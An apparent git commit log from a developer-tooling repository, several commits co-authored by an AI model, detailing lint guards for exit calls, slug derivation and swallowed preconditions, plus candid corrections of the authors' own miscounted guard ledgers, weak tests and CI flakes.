scripts/**/*.cjs, while n/no-process-exit stayed 'error' over a nine-glob block
covering those same two. Only the hooks 'off' exemption ever came down; the
predecessor's registration never did. Both rules have been enforcing the same
property on the same surfaces since P6.

Narrowed, not deleted. Seven of those nine globs have NO successor —
eslint-rules/, bin/lib/, pi/, examples/, vscode/, .kilo/, .opencode/ — so
deleting the rule outright would silently drop enforcement on all seven. That
is the inversion this epic has already hit three times: removing a coarse guard
because a narrower one exists somewhere it does not reach. Flat config is
last-match-wins and both successor blocks come after the nine-glob block, so
'n/no-process-exit': 'off' in exactly those two retires the predecessor
precisely where the successor governs and nowhere else.

The successor is strictly more precise: it permits process.exit only inside
terminateNow in cli-exit.cts, the single sanctioned terminator (ADR-3889 §3),
where n/no-process-exit permits none and would flag terminateNow's own
generated copy.

Asserted at the consumer's altitude via ESLint.calculateConfigForFile on real
paths, with the positive control that matters: n/no-process-exit is still
'error' on six of the seven successor-less globs, so a future edit that turns
this into a blanket disable goes red. bin/lib/ has no file in this checkout and
is reported as untested rather than given an invented path. Severity is
normalized across the string/numeric/array forms the API can return, and the
normalized value asserted — not truthiness.

Verified by running calculateConfigForFile myself on both superseded globs and
four controls before trusting the test.

Found and fixed inline: the change made an eslint-disable directive at
gsd-tools.cjs:257 partially unused, which --max-warnings 0 rejects; narrowed to
the one rule still in force.

Verification runs on the remote runner.

Refs #3914

* docs(#3914): the epic added three guards, it did not remove one

The audit reconciled the epic ledger against what actually landed. The net is
+3, not -1: four lint:generated-sync --check arms (gen-scripts-cli-exit,
gen-hooks-cli-exit, gen-exit-code-registry, gen-exit-code-docs) plus one rule,
against two retirements.

An epic whose thesis was consolidation ended with a larger guard surface than
it started with. The additions are each defensible; the claim that the total
fell was never true.

Two of the three prior errors in this amendment are mine. It said "Net -1 by
count" above terms reading -1 -1 +1 +1 +1, which sums to +1 — an arithmetic
error in the paragraph directly below the sentence arguing that an ADR about
honest accounting must not pad its own ledger. And the term list omitted two of
the four --check arms, which is what turns that +1 into the real +3.

Recorded rather than quietly rewritten. This ledger has now been wrong three
times — the original -2, the -1 that replaced it, and #3914's own table, which
states -1 above terms summing to 0 — and a written claim nobody checked against
the thing it describes is the exact failure this epic exists to close.

Refs #3914

* fix(#3914): make the successor actually supersede before retiring the predecessor

An isolated security review found that the previous commit turned off a guard
that was still doing work. Reproduced by executing both rules against a
fixture, not inferred:

  const exit = 'exit';
  process[exit](1);

n/no-process-exit flags it; local/require-registered-exit did not, because it
early-returned on callee.computed. So retiring the predecessor on
gsd-core/bin/**/*.cjs and scripts/**/*.cjs un-guarded that shape on precisely
the two globs this epic's exit contract cares most about.

This is the third time in this epic I have removed a coarse guard on the claim
that a narrower one covered it, without checking construct-level parity — after
the allowlist key-to-prefix-to-exact-membership sequence and the band
ranges-to-categories one. The rule is the same every time: a narrower guard
supersedes a coarser one only where it demonstrably reaches at least as far,
and "demonstrably" means executing both against the constructs, not reading
either.

The successor now resolves computed property access for the statically
determinable cases — a string Literal, and an Identifier bound once to a string
Literal, resolved through scope — and leaves genuinely dynamic properties
alone so the rule does not over-fire. Measured after the fix: plain
process.exit flagged, process['exit']() flagged, process[exit]() flagged,
process[globalThis.k]() not flagged. That makes it a strict superset of the
predecessor on these globs, since process['exit']() was caught by NEITHER rule
before.

The second finding is worse than the first, because it was reasoning rather
than oversight. My justification comment claimed n/no-process-exit "would flag
terminateNow's own generated copy here". It would not — that file is in the
global ignore list, so neither rule ever lints it. There was no conflict to
resolve; I wrote a rationale I had not checked, in a change whose entire
subject is written claims nobody verified. Both comment blocks now state the
real basis.

The tests that should have caught this asserted only rule SEVERITY per glob and
never construct REACH, which is exactly how a coverage hole passed. A parity
matrix now pins all five shapes, including a RED/GREEN regression pin against
an inlined reproduction of the pre-fix rule — inlined rather than loaded from
HEAD, because HEAD resolves to the fixed commit under the remote runner and
would silently stop testing anything.

Verification runs on the remote runner.

Refs #3914

* fix(#3914): the two exit rules are complementary — keep both

Reverts this branch's retirement of n/no-process-exit. The premise was wrong
twice, and the second review proved the change itself was wrong.

I claimed local/require-registered-exit was a strict superset on
gsd-core/bin/**/*.cjs and scripts/**/*.cjs. Measured, successor vs predecessor:

  function f(exit) { process[exit](1); }         0  vs  1
  let exit='exit'; exit='exit'; process[exit]()   0  vs  1
  const { exit } = ...; process[exit](1)         0  vs  1

plus for-of bindings, let-then-assign, var redeclaration, catch params, and an
undeclared global named exit. The predecessor matches any identifier NAMED
exit however it is bound; the successor resolves only a string literal or a
single-write const. It never was a superset — I asserted the relationship after
fixing one construct and did not re-check the rest.

The justification was independently false: all three generated cli-exit copies
are in the global ignore list, so n/no-process-exit was never flagging
terminateNow. There was no conflict to resolve. I wrote a rationale I had not
verified, in the phase whose subject is written claims nobody checked.

So criterion 5 does not apply to this pair. They are not predecessor and
successor — they are complementary, each catching constructs the other misses.
The epic's criterion assumed a replacement relationship that does not exist
here, and retiring either rule loses real coverage. The ADR ledger now says so
with the measured shapes.

What survives is the genuine improvement: the computed-property strengthening.
local/require-registered-exit now catches process['exit'](1) and optional-chain
terminators like process?.[k]?.(1), which NEITHER rule caught before, while
correctly ignoring a genuinely dynamic property so it does not over-fire.

The parity tests are rewritten to assert what is true rather than what I wanted
to be true: a bidirectional matrix where each rule is shown catching shapes the
other misses. The previous matrix tested only the four shapes where the
successor wins, which is precisely why the regression shipped — a test set
selected to confirm the thesis.

Also corrected: a stale ADR sentence claiming a third wrong ledger version that
does not exist (the table it described now reads +3 over terms summing to +3),
and a changeset whose stated motivation was the false generated-copy conflict.

Verification runs on the remote runner.

Refs #3914

* fix(#3914): the exemption term was a no-op — the net is +4

Fourth correction to this ledger, and a fourth error of the same kind.

Every version counted removing the n/no-process-exit 'off' entry from the hooks
block as -1. Measured: calculateConfigForFile returns undefined for that rule on
hooks/**. It was never registered there, and no broader block sets it globally,
so the 'off' entry overrode nothing and removing it changed no enforcement at
all. A no-op removal, not a guard removal — the same category error as counting
baseline acknowledgement entries: a thing that is not a guard, in guard units.
It is misattributed too; that block came down in d98b55562 (#3910), already on
next before this branch existed.

So the epic added FOUR guards, not three.

This surfaced from a test of mine that overclaimed. I asserted n/no-process-exit
was error on "all nine CommonJS/hook globs" — but hooks is not one of the nine,
and the rule resolves to undefined there. Fixing the test to match reality is
what exposed the ledger term, which is the argument for tests that assert
identity rather than a comfortable shape.

The hooks state is now pinned explicitly rather than glossed: n/no-process-exit
unregistered, local/require-registered-exit error. It is mildly surprising and
therefore worth a test.

Also updates a pre-existing test that documented the old name-based-only
boundary as intentional. The computed-property strengthening deliberately moves
that boundary — process['exit'](0) was caught by NEITHER rule before — so the
test now asserts the new contract and cites the ADR, rather than being left to
fail or the rule weakened to satisfy it. A contract change should read as
deliberate in the test that pins it.

Verification runs on the remote runner.

Refs #3914

* chore(#3914): backfill changeset pr number to 4018

---------

Co-authored-by: sim <sim@local>
2026-08-29 00:53:33 -04:00
Tom Boucher
ab69b9ce56 enhance(#3987): guard slug re-derivation and the swallowed-precondition shape — §8.5 was guardable after all (#3999)
* feat(#3987): guard slug re-derivation, and record why the swallow shape cannot be guarded

Epic #3473's Decision 1 requires the wrong call site be UNREPRESENTABLE. #3984
measured that two of the nine §8 rules had no guard at all and recorded both as
"Shipped - test-covered". This closes one of them, proves the other cannot be
closed the same way, and corrects two false claims I merged yesterday.

1. §8.3 - scripts/lint-slug-derivation-drift.cjs.

   generateSlugInternal (src/core-utils.cts) is the canonical owner; #3883 removed
   11 inline copies. Nothing prevented a twelfth: no slug guard existed in
   scripts/ or eslint-rules/.

   The detector is STATEMENT-scoped and matches the shape the real copies took -
   one statement carrying BOTH .replace(<negated class>, '-') and
   .replace(/^-+|-+$/, ''). Statement scoping is what buys the precision: the
   loose LINE-level form yields 18 hits with 7 unrelated, a material
   false-positive rate. Measured on the tree: 5 flags, 2 TRUE, 3 SANCTIONED,
   0 FALSE.

   The three sanctioned sites are allowlisted with a reason each, following
   lint-phase-enumeration-drift's form rather than a bare denylist. The owner
   itself is listed explicitly even though it escapes by construction - an
   implicit escape is a latent bug, and the next person to touch line 192 would
   not know the guard depended on it.

2. Both TRUE positives were live defects, not style.

   scripts/qa-smell-ratchet.cjs reproduced the canonical formula including the
   60-cap but trimmed BEFORE truncating - the #2849 bug - and never
   transliterated. The divergence is total, not cosmetic:

     canonical  "privet-mir-privet-mir-privet-mir-privet-mir-privet-mir-prive"
     inline     "tail"

   Cyrillic collapsed to nothing and only the ASCII remainder survived, so the
   ratchet was keying on wrong identifiers for any non-ASCII input.

   tests/planning-inspect.test.cjs carried a helper whose comment claimed parity
   with getPhaseDirFromPhaseId. That function now transliterates; the helper did
   not, so the test asserted against a stale formula while looking correct. Both
   now route through the seam.

3. §8.5 - measured, and deliberately NOT shipped.

   A candidate detector (swallowing catch + errno-retry-set test in the same
   function) gives 26 flags across 11 functions: 0 TRUE, 26 FALSE. Every one is
   best-effort unlink/rm/close cleanup, lost-rename-race backoff, or a deliberate
   null fallback. The file-scoped variant is worse at 71.

   Worse than the noise: the only known true instance was removed by #3885, so
   there is NO POSITIVE CONTROL - the guard cannot be shown capable of failing,
   which this repo requires of every drift guard. Shipping it would add a guard
   nobody can trust and nobody can test.

   The ADR now records the measurement and the reason, keeps §8.5 at
   "Shipped - test-covered", and points at the #1884 regression test as what
   actually enforces it. An honest "not detectable at acceptable precision" beats
   a guard that only ever passes.

4. Two claims I merged into the ADR yesterday were wrong.

   §8.9 said 17 of 19 subsumed children have a test citing their issue number,
   and that #3364 and #3812 have none. Both halves are false, and the claim came
   from a NUMBER-GREP - inside an amendment whose own subject is that a text match
   is not a fact.

     #3364 IS cited: tests/runtime-marker-resolution.test.cjs:107,
       T3 installMarkerResolvesWhenEnvAndConfigAbsent_3897 (#3364), asserting at
       :115-119.
     #3812 IS covered: tests/gen-state-md-docs.test.cjs:374, asserting at :382.

   Corrected to 19 of 19.

   #3812 does carry a real finding, though a different one: it is PARTIALLY
   DELIVERED on a CLOSED issue. The shipped fix declares cardinality for
   frontmatter keys, but #3812's stated acceptance was about the
   ## Current Position BODY section, and docs/reference/state-md.md:196-208 still
   has no normative single-valued/overwrite sentence and no pointer to
   ## Performance Metrics for history. Recorded in the ADR and left for #3812 to
   re-open - fixing it here would bury a scope question inside an unrelated PR.

Note on B6: this ADDS a guard, and B6 said the net count must fall. #3951 already
amended that clause - a guard ledger is a claim about COVERAGE, not count - which
is what makes adding this one honest rather than contradictory.

Verified: the guard flags 0 on the fixed tree, and PROVES IT CAN FAIL - a fresh
inline copy planted in src/ makes it exit 1 naming the exact statement. All three
sanctioned sites were confirmed exempt BY the allowlist, not by accident of the
pattern, by re-attributing each to a non-exempt path and watching it flag.
build:lib, lint and lint:ci all exit 0.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3987): add the changeset fragment

Doc-only, so it carries forward from the verified sha rather than costing a
second matrix run.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3987): §8.5 IS guardable — I was wrong, and the guard found a live defect

Two orthogonal reviews. The correctness review overturned my central judgment,
and it was right.

1. I concluded §8.5 was "not detectable at acceptable precision" and recorded
   that in the ADR. False.

   My evidence was 26 flags / 0 TRUE / 26 FALSE. The reviewer pointed out what I
   had not: all 26 false positives are CLEANUP verbs - rmSync 54, unlinkSync 43,
   closeSync 17, chmodSync 12 - and the obvious narrower predicate was never
   tried. A swallowed cleanup is legitimate best-effort. A swallowed CREATION is
   a precondition silently lost, which is exactly the #1884 shape.

   Measured properly, in three stages:
     swallowing catch                                     911
     + try-block calls a CREATION verb                     24
     + enclosing function references a *_ERRNOS set         0

   0 flags, 0 false positives. The `*_ERRNOS` naming key is empirically total -
   all 10 retry/tolerate sets in src/ follow it.

   My second claim was worse. I wrote that no positive control exists because
   #3885 removed the only true instance, so the guard "cannot be shown capable of
   failing". That is self-refuting: this very PR's slug guard proves-it-can-fail
   on a synthetic tree, and the pre-#3885 blob is available as exactly such a
   fixture. It is now the control, and it works in both directions - the rule
   flags 0c43d853e^:src/planning-workspace.cts at line 210, the line the fix
   commit's own message cites, and reports zero on the post-fix code.

   I stopped at the first negative result on the option that meant less work.

   Shipped as eslint-rules/no-swallowed-precondition.cjs, wired into the existing
   src/**/*.cts ESLint block rather than a scripts/lint-*-drift.cjs: no script in
   scripts/ requires typescript/espree/acorn, and scripts/ ships to consumers, so
   a .cts-parsing standalone guard would add a devDep at consumer runtime. The
   ESLint block already parses .cts for free.

2. The guard immediately found a live defect of the same class.

   src/capability-lock.cts swallowed a mkdirSync on the lock directory, then
   acquireLock classified the follow-on failure as `code !== 'EEXIST' → return
   null`. A real EACCES/EROFS makes openSync(lockPath,'wx') fail ENOENT, which is
   not EEXIST - so a fatal filesystem error was laundered into "lock
   unavailable". Same defect as #1884, different laundering target.

   Fixed the way #3885 fixed #1884: the creation failure propagates. Regression
   test proven fail-first by hand - with the fix stashed, EACCES was laundered to
   null; restored, it throws.

   The strict rule does NOT catch this shape (its errno classification is an
   inline literal, not a named set). The rule is deliberately left strict: the
   broadened form had 2 false positives - capability-lock.cts:408, the deliberate
   EEXIST steal protocol, and commonjs-marker.cts:131, which returns a distinct
   documented outcome. The gap is noted in code rather than papered over with a
   noisy predicate.

3. The security review found the slug guard's exemption FAILED OPEN.

   currentFunction was never reset, and only a column-0 `function` declaration
   updated it, so exemption bled from an allowlisted declaration to the next one.
   generateSlugInternal exempted 50 lines for an 11-line function. A
   re-derivation planted anywhere in that window was silently exempt - the same
   fail-open shape that produced a blocker in #3897, and an allowlist is a
   SUBTRACTION so a mismatch fails open by construction.

   Extent is now tracked by real brace depth, and a test plants a violation after
   each allowlisted function's real closing brace and asserts it IS flagged.

4. Also from the security review: the guard was a CI-DoS and narrower than I
   claimed.

   Its unbounded [^\]]* was re-scanned from every `.replace(/[^` start: 54.3s on
   a 1.28MB line. It imported MAX_REGEX_LITERAL_LEN and never called
   readRegexLiteralAt - the bounded tokenizer that exists for exactly this. Now
   routed through it with a 2MB file cap: ~200ms.

   15 of 25 genuine re-derivations evaded. Widened to catch replaceAll, {1,},
   \s*-wrapped classes, escaped ], literal new RegExp(...), five trim spellings,
   .split().join(), and multi-line .replace( args - still 0 false positives.
   Two forms still evade and are documented as deliberate gaps with negative
   tests: the two-statement/temp-var form and new RegExp built from a variable.
   Both need data flow, and guessing at it is how a guard becomes noisy.

   Also fixed: // inside a string truncated the line, a ; inside the collapse
   regex split the statement (a one-character bypass), and SCAN_EXT omitted
   .mjs/.tsx/.jsx.

5. A regression I introduced, caught by the same review.

   qa-smell-ratchet.cjs top-level-required a build output that is not
   git-tracked, so the script hard-failed MODULE_NOT_FOUND before build:lib -
   including for --help, which previously had no build dependency. The require is
   now lazy at the point of use.

6. Four of my own tests were vacuous or weak.

   T9's input yielded an identical string under the buggy formula, so it passed
   on the implementation it was meant to catch. T12 compared maxLen null vs 60 on
   an 18-char name, where they agree trivially. T9-T12 all asserted
   generateSlugInternal directly, so they would pass unchanged if both call-site
   fixes were reverted. And prove-it-can-fail was scoped to scanRepo, never the
   CLI - dropping main()'s exit-code line would have kept every row green.

   All rewritten with discriminating inputs, per-call-site rows that red when the
   fix is reverted, 59/60/61 boundaries, an entirely-non-alphanumeric row, and a
   CLI row asserting the real subprocess exit code and both sanitizeForReport
   sites.

Verified: both guards flag 0 on the tree and both prove they can fail. The
swallow rule's control is confirmed in both directions - pre-#1884 shape flagged,
post-#3885 shape clean. build:lib, lint and lint:ci all exit 0.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3987): record that §8.5 IS guardable, and correct a correction that made a ledger worse

Three ADR corrections, two of them to text this branch wrote hours ago.

§8.5 advances to Enforced. Its previous entry said the rule was not detectable
at acceptable precision. That was wrong twice: the 26 false positives were
uniformly CLEANUP verbs, which is a reason to narrow the predicate rather than
abandon it, and the claim that no positive control exists was self-refuting - the
pre-#3885 blob is available as a fixture and this repo's own guards prove-it-can-
fail on synthetic trees. Narrowed to creation verbs plus a *_ERRNOS reference:
911 -> 24 -> 0 flags, 0 false positives, control confirmed in both directions.
The entry keeps the wrong reasoning visible, because a high false-positive count
being evidence the predicate is wrong - not evidence the rule is unguardable - is
the transferable part, and the first negative result is most seductive when it is
also the answer that means less work.

§8.9's correction is itself corrected. The original 17-of-19 claim was CORRECT
for the predicate it stated; this branch silently swapped cited -> covered and
declared 19 of 19. #3812 appears in zero test files. Changing what a word means
to make a ledger read better is a worse failure than the miscount it claimed to
repair. Both predicates are now reported separately - 18 of 19 cited, 19 of 19
covered - because §8.9 asks for a test NAMING each child, so 18 is the number
that answers it. #3812 is also re-opened for real, rather than the first draft's
promise that it could be.

§8.3 stays Shipped - test-covered rather than advancing. The slug guard catches
the copy-paste class and a dozen variants, but two forms still evade by decision
(temp-var split, new RegExp from a variable) because both need data flow. Naming
them keeps the status honest: the wrong call site is much harder to write, not
unrepresentable.

Closes #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3987): backfill changeset pr number

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3987): replace my own wall-clock assertion, and close the guard that let me write it

CI went red on ubuntu shard 2/3. The failing test was mine, and the failure was
the test, not the code.

  a 1.28MB line ... scans in well under a second (was 54.3s pre-fix)  7368ms

It asserted ELAPSED TIME. ~200ms locally, 7.4s on a shared CI runner. The bound
introduced for the MAJOR-2 DoS fix works - 7.4s against a 54.3s pre-fix baseline
is the fix doing its job - but an absolute wall-clock threshold on shared
hardware is a race, not an assertion. CLAUDE.md says so directly: "Clock Seams:
Do not assert on wall-clock time." I wrote the anti-pattern the project bans, in
a PR about guards.

Raising the threshold would only move the flake. The row now asserts a
DETERMINISTIC bound instead: an instrumentation seam on drift-scan.cjs counts
readRegexLiteralAt calls and characters examined, and the test asserts
charsExamined stays under an absolute ceiling. Measured on the same 1.28MB
fixture: 120,000 calls, 48,000,000 chars - two orders under the ceiling. The
pathological fixture is kept; only the thing being asserted changed.

Proven to still discriminate: with MAX_REGEX_LITERAL_LEN raised to simulate the
unbounded pre-fix behavior, the same fixture does not complete in 120 seconds,
versus ~0.3s bounded. It is a real regression test, not a tautology.

Then the second half, which is the same defect class as the rest of this PR.

  eslint-rules/no-elapsed-assertion.cjs matched only the EXACT identifiers
  ^(elapsed|duration|took|ms)$.

I used `elapsedMs`. It evaded the rule entirely. tookMs, durationMs,
elapsedTime and msElapsed evade the same way. A guard that cannot see the
violation it exists to catch is exactly what this PR is about - it just happened
to be an existing rule rather than one of the two I came here for, and it was
found because I committed the violation it should have blocked.

Widened to /^(?:elapsed|duration|took|ms)(?:[A-Z]\w*)?$/ plus a narrow
start/endMs delta pair. Deliberately NOT a blanket *Ms suffix: a first draft did
that and produced 2 false positives on `timeoutMs` in
plan-phase-stall-detection, which is a configured timeout and not a measurement.
Verified negative on params, items, forms, terms, dirnames, timeoutMs,
cacheTtlMs and staleAfterMs.

Measured over the five files carrying camelCase timing identifiers: 0 true
positives beyond my own, so nothing else needed rewriting. The rule's own test
file gains a row asserting `elapsedMs` flags, proven to fail against the
pre-widening rule - the same prove-it-can-fail standard both new guards in this
PR are held to.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3987): a comment I added leaked a Claude reference into every runtime install

The runner went red with 4 failures in tests/install.test.cjs:

  Leaking: .hermes/scripts/lib/drift-scan.cjs
  Leaking: .qwen/scripts/lib/drift-scan.cjs

The instrumentation seam added for the deterministic bound carried a comment
naming CLAUDE.md as the source of the no-wall-clock-assertions rule. scripts/
SHIPS to consumers, so that comment was installed verbatim into hermes and qwen
trees, and the install suite scans for exactly this - a Claude-specific reference
reaching a non-Claude runtime.

The rule is real and worth citing; the filename is not portable. The comment now
says "this repo's test rules" and states the rule inline, which is what a reader
of an installed tree actually needs anyway.

Worth noting what caught it: not lint, and not the two guards this PR adds - the
install suite's full-tree scan, which exists precisely because a shipped file is
read by runtimes that have never heard of CLAUDE.md. Same lesson as the rest of
this PR from the other direction: the check that matters is the one that can see
the surface where the defect actually lands.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3987): a test fixture swallowed 46 git exit codes and produced a silent false negative

CI red on ubuntu shard 3/3:

  tests/health-validation.test.cjs:2029
  expected exactly one W024, got [{"code":"W006", ...}]

Not caused by this branch, and the evidence is decisive rather than a hunch: the
SIBLING test at :2039 builds the IDENTICAL fixture with the identical
commitsAhead and asserts the same thing, and it PASSED in the same process, same
file, same run. Same input, both outcomes - which rules out logic, ordering,
sharding and environment, and leaves a per-invocation nondeterministic failure
inside one fixture build.

The mechanism is an unchecked exit code, 46 times over. The W024 fixture performs
~46 runGit spawns and never checks a single one. runGit returns failures as DATA
and never throws, so one silently-failed `git commit` yields 19 commits instead
of 20, or a silently-empty `git rev-parse HEAD` yields a blank state_head. Either
drops readStateHeadFreshness below the advisory threshold, W024 never fires, and
only W006 remains.

Reproduced exactly: 20 commits -> ["W006","W024"]; 19 -> ["W006"]; blank
state_head -> ["W006"] - byte-identical to the CI assertion dump.

The arithmetic is what hid it. At threshold-1 and threshold+1 a lost commit still
produces the asserted answer; only the exactly-at-threshold cases sit one commit
from a false negative. Two of the seven tests are in that position, and CI hit
one. That is why it had never been seen before, and why it surfaced now: this
branch adds three test files, which reshuffles the cost-weighted shard partition
and moved this file into a chunk where the latent flake fired.

My files were checked as suspects first and cleared: all fixtures mkdtemp-unique,
no process.chdir, no .planning/ writes, no git spawns, and node --test gives
per-file process isolation regardless.

Fixed at the cause, not the symptom. A mustGit wrapper throws on a non-zero exit
with the command, exit code and stderr, and all nine call sites route through it.
The fixture now asserts its OWN preconditions before the assertion under test
runs - the seed head is non-empty, and `git rev-list --count <seed>..HEAD` equals
the requested commitsAhead - so a fixture that did not build what it claims fails
loudly as a FIXTURE ERROR naming got-versus-asked, instead of quietly handing a
weaker input to the assertion.

Proven: dropping one commit now raises
  FIXTURE ERROR: requested commitsAhead=19 but git rev-list --count reports 18
where it previously produced a silent ["W006"] pass-for-the-wrong-reason. 64/64
tests in that block pass unperturbed.

Deliberately NOT done: no threshold change, no retry, no loosened assertion, no
skip. The assertion was correct; the input was silently wrong.

Worth naming, because it is the same shape from the other side: this PR ships
eslint-rules/no-swallowed-precondition.cjs, whose entire subject is a swallowed
precondition failure being laundered into a plausible downstream outcome. This
fixture is that defect in test code - the swallowed git failure was laundered
into a legitimate-looking "W024 did not fire". The rule does not cover test
fixtures, so the connection is noted at the fix site rather than enforced.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3987): two tests wrote to committed files; the shard packing decided when that mattered

CI red on windows-latest shard 1/3 only:

  "gen-exit-code-registry: CLI" > "a --write run redirected to a tmpdir leaves
  every committed artifact untouched"
  AssertionError: hooks artifact must be untouched

The Linux runner passed the same sha at 40425/40425. It is Linux-only, so a
Windows-scheduling defect is structurally invisible to it.

Root cause, established by measurement rather than inference.

tests/cli-exit.test.cjs appended a corruption marker to the REAL COMMITTED
hooks/lib/exit-code-registry.js, held it corrupted across a full subprocess, and
restored it in a finally. tests/exit-code-registry.test.cjs reads that same real
file before and after its own subprocess and asserts byte equality. If it samples
while the other test holds the file corrupted, it fails. The landmine is
pre-existing, from 2ea5efc15 (#3911).

What this branch changed is WHEN the two run together. scripts/run-tests.cjs
shards by cost-weighted LPT over the sorted unit list, so adding three test files
repacks the bins:

  merge-base c3e667df3 (838 files): cli-exit -> shard 1, exit-code-registry -> shard 3
  HEAD       03b342601 (841 files): BOTH in shard 1, same argv chunk, one
                                    node --test process, concurrent

Co-location is necessary but not sufficient - Linux shard 1/3 also had both and
passed. Windows loses because TEST_CONCURRENCY defaults to 2 there against 4
elsewhere, spawn cost is ~10x, and the sibling corruptor holds one of only two
slots through a ~90s tsc compile. That turns a sub-second overlap into seconds.

Not a path-separator or case-sensitivity issue, and not CRLF - .gitattributes
pins * text=auto eol=lf. Redirection was not at fault either: ensureScriptsOut
derives all five --out flags correctly and gen-exit-code-registry.cjs honours
them with no __dirname escape.

Fixed at the cause: no test writes to a committed file any more. Both corruptors
now copy to a mkdtempSync tmpdir, corrupt the COPY, and point the generator at
it. Repinning or reordering the shards would have turned CI green while leaving
the landmine armed for the next reshuffle.

That required closing an inconsistency between two sibling generators.
gen-exit-code-registry.cjs already accepts
--out/--scripts-out/--hooks-out/--dts-out/--sh-out and honours them under
--check; gen-hooks-cli-exit.cjs hardcoded OUTPUT_PATH and had no flag surface at
all, so its corruptor could not be redirected anywhere. It now takes --out in the
same style, honoured by both --write and --check, and is a no-op when absent -
verified: a bare --check on the default path still exits 0.

ensureScriptsOut moved to tests/helpers/exit-code-artifact-flags.cjs and both
test files import it. Hand-rolling a second copy of the flag derivation would
have been a re-derivation of exactly the kind this PR ships a guard against.

Verified: both tests still detect corruption (proven by defeating the check and
watching them red, with a positive control showing an uncorrupted copy exits 0);
SHA-256 of hooks/lib/exit-code-registry.js and hooks/lib/cli-exit.js identical
before and after running both rewritten bodies, and git reports nothing under
hooks/ modified - that is the property that was violated. A repo-wide search for
the corrupt-then-restore-in-finally shape against hooks/ found no other
instances.

One detail worth recording: the tmpdir test keeps --declaration pointed at the
real committed declaration rather than copying it, because the generated banner
embeds path.relative(REPO_ROOT, declarationPath) - copying it would produce a
false drift unrelated to the injected corruption. The declaration is read-only on
that path and never written.

Refs #3987

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 14:40:02 -04:00
Tom Boucher
12f9d1d9a0 enhance(#3913): docs, and the guards come down (#3994)
ADR-3889 terminal phase. Generated docs/reference/exit-codes.md from the exit-code declaration with a --check drift arm; deleted the inert soft-error-exit-zero oracle; promoted untyped-success from SMELL to VIOLATION so it can fail a build; pruned all 5 smell-baseline entries.

Fixed inline: two mis-scoped oracles (routing-validity, value-hygiene), a second source behind the band table, unescaped declaration strings reaching Markdown, and a pre-existing Windows 8.3 short-name path-comparison defect.

Guard ledger corrected from a claimed net -4 to a measured net -1.

Closes #3913
2026-08-28 13:10:20 -04:00
Tom Boucher
b351c83e03 docs(adr): ADR-3646 — per-task external-tracker content-resolution seam (#3991)
Resolves the four conditions on the approved-feature verdict for #3646:
new execute:task granularity tier below wave, hard-halt enforced via a
code-side resolver seam (Lens B) rather than prose dispatch (since #3647's
dispatch-reliability defect is still open), registration/validation
requirements for loop-hook-dispatch.md + capability-validator.cjs, and
autonomous-mode behavior via a new non-gate kind.

Closes #3969

Co-authored-by: sim <sim@local>
2026-08-28 09:32:37 -04:00
Tom Boucher
3a6c0412a9 enhance(#3624): local/no-exact-case-env-access — ratchet ADR-1703 onto production env reads (epic #3411 Phase 4) (#3976)
* enhance(#3624): local/no-exact-case-env-access — ratchet ADR-1703 onto production env reads (epic #3411 Phase 4)

Extends ADR-1703's portability rule catalog with a second production-runtime
rule: it flags an exact-case read of a Windows case-varying environment
variable (PATH, PATHEXT, ComSpec, USERPROFILE, TEMP, TMP, APPDATA) off any
receiver that is not process.env itself, matched via an env-shaped-receiver
check to avoid colliding with ordinary `.path`-named properties elsewhere in
the tree.

Exports the seam's private `_envGet` as `envGet` so the rule's remediation
message names a real helper, and fixes the one pre-existing violation the
tightened rule found (`src/runtime-hooks-surface.cts`'s `env.APPDATA` read).

Closes #3624

* fix(#3624): extractStaticName recognizes non-computed Literal destructuring keys; add missing accessor-call test case

Review findings from the code-review + isolated-adversarial passes:
- extractStaticName only matched non-computed Identifier keys, so a
  destructuring like `const { 'PATH': v } = opts.env;` (the issue's own I8
  acceptance case) silently evaded the rule. Widened to accept a Literal key
  regardless of computed, which is safe for MemberExpression too (its
  non-computed property is always an Identifier by grammar).
- Added the missing RuleTester valid case for "a case-insensitive accessor
  call" (envGet(env, 'PATH')) from the issue's Done-when checklist.

* docs: backfill changeset PR number for #3624 (PR #3976)

---------

Co-authored-by: sim <sim@local>
2026-08-28 08:49:03 -04:00
Tom Boucher
bb4f3073c0 docs(#3984): give every §8 rule its delivered status and its measured executor (#3986)
Surfaced by an /adr-phase-coverage audit of epic #3473 after its last sub-issue
merged. §8 is the epic's declared source of truth - "where this section and the
code disagree, the code is the defect" - and line 136 defines a per-rule status
vocabulary.

Not one of the nine rules was ever advanced past its pre-implementation status.
The word Enforced appeared exactly ONCE in the document: in the sentence that
defines it. Three rules read "Required - phase unassigned" for work that Phases
5, 7 and 8 demonstrably delivered, so a reader auditing coverage today would
conclude three of the nine contract rules had no owner. That is the orphan shape
this epic exists to eliminate, sitting in the epic's own contract, and it is the
same defect class as B6's guard ledger: a status column is a claim, and it was
false.

Flipping all nine to Enforced would have repeated the mistake inverted. Decision
2 says a declared policy with no executor is a loud failure, so Enforced asserts
an executor EXISTS - and measurement found the nine are not equally enforced. The
vocabulary is now three values:

  Enforced              a standing guard wired into lint:ci or CI fails the
                        build; a new wrong call site cannot land
  Enforced (structural) the wrong call site is unrepresentable
  Shipped - test-covered  delivered and regression-tested, but NO standing
                        guard; a regression in covered code is caught, a new
                        wrong call site elsewhere is not

Measured per rule, with the executor cited:

  8.1 Enforced             lint-vendored-deps + no-external-require-in-bin
  8.2 Enforced (partial)   phase-enumeration-drift covers the sentinel arm; the
                           #3357 resolver arm is test-covered only
  8.3 Shipped              NO guard for slug or marker re-derivation
  8.4 Shipped              structural for argv; no guard for the general rule
  8.5 Shipped              the delivering change added zero guard scripts
  8.6 Enforced (structural) the transaction type; state-write-path-drift
  8.7 Shipped              structural via reconcileReportedFields; no guard
  8.8 Enforced             gen-state-md-docs --check in lint:generated-sync
  8.9 Enforced (prospective) lint-fix-has-regression-tests fires on NEW fix
